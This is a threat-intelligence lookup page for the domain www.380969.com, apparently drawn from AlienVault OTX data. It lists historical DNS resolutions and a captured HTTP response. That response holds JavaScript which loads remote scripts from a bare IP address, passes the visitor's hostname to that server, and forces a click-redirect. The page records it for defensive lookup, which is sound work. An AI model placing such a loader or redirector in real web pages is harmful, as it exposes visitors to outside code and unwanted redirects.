Domain > www.380969.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2018-06-02	103.94.232.83 (ClassC)
2018-06-02	198.44.225.130 (ClassC)
2018-06-02	103.94.232.84 (ClassC)
2018-06-02	175.41.19.3 (ClassC)
2018-06-02	175.41.19.5 (ClassC)
2019-06-13	175.41.19.6 (ClassC)
2019-06-13	198.44.225.131 (ClassC)
2019-06-13	103.94.232.85 (ClassC)
2019-06-13	175.41.19.4 (ClassC)
2020-06-21	45.153.40.146 (ClassC)
2020-06-21	45.153.40.147 (ClassC)
2021-06-19	198.50.216.100 (ClassC)
2024-01-09	152.32.240.250 (ClassC)
2024-07-08	3.33.152.147 (ClassC)
2024-08-01	15.197.142.173 (ClassC)
2025-01-29	23.224.60.19 (ClassC)
2025-08-21	154.37.155.22 (ClassC)
2025-12-15	23.225.71.20 (ClassC)

Port 80

HTTP/1.1 200Content-Type: text/htmlCache-Control: max-age86400Content-Length: 1068Connection: close

html>head>	script srchttp://152.32.129.152:8080/c.js>/script>	script typetext/javascript>var str  sc+ript srchttp://152.32.129.152:8080/api.js?d+window.location.hostname.encode()+ typetext/javascript>/s+cript>;document.write(str);/script>/head>body>	a href idhao123>/a>	script typetext/javascript>		if(null!redirectorwindow.location.hostname.encode()){var strUredirectorwindow.location.hostname.encode().to.decode()+window.location.pathname+window.location.search;if(hao123.hrefstrU,document.all)document.getElementById(hao123).click();else(edocument.createEvent(MouseEvents)).initEvent(click,!0,!0),document.getElementById(hao123).dispatchEvent(e)}else{var e;strUredirector.default_redirect_url.to+window.location.pathname+window.location.search;if(hao123.hrefstrU,document.all)document.getElementById(hao123).click();else(edocument.createEvent(MouseEvents)).initEvent(click,!0,!0),document.getElementById(hao123).dispatchEvent(e);console.log(redirector err)}	/script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > www.380969.com

Is this malicious?

DNS Resolutions

Port 80